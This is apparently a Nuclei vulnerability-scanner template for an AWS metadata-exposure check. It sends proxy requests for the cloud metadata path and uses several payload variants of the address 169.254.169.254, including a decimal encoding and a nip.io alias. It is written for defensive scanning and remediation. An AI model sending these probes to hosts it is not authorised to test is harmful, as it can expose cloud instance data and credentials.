id: metadata-service-aws

# This attack abuses a misconfigured proxy that allows access to the metadata
# IP or a name which resolves to the IP. A standard proxy request is made to
# the proxy using the full metadata URL, which the proxy will fulfill to its
# own metadata service.
#
# The proxy may also be vulnerable to host/port enumeration on localhost or
# inside the private network.
info:
  name: Amazon AWS Metadata Service Check
  author: sullo,DhiyaneshDk
  severity: critical
  description: The host is configured as a proxy which allows access to the metadata provided by a cloud provider such as AWS or OVH. This could allow significant access to the host/infrastructure.
  remediation: Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
  reference:
    - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
    - https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
    - https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
    - https://twitter.com/Random_Robbie/status/1268186743657947137
    - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cwe-id: CWE-441
  metadata:
    max-request: 4
  tags: exposure,proxy,aws,amazon,misconfig,metadata,vuln

http:
  - raw:
      - |+
        GET http://{{hostval}}/latest/meta-data/ HTTP/1.1
        Host: {{hostval}}

    payloads:
      hostval:
        - aws.oast.online
        - 169.254.169.254
        - 2852039166 # decimal encoding
        - 169.254.169.254.nip.io
    unsafe: true
    matchers:
      - type: word
        part: body
        words:
          - "public-ipv4"
          - "privateIp"
        condition: or
# digest: 4b0a004830460221009b2b3b1dc1c6a98c9afa736677257771c67132f497187a5b1f1387493fc0554a022100db5ac0d5b99a3de287206c25348ae1ea6f9e4c0f12f37405cda923d4d482ef64:922c64590222798bb761d5b6d8e72950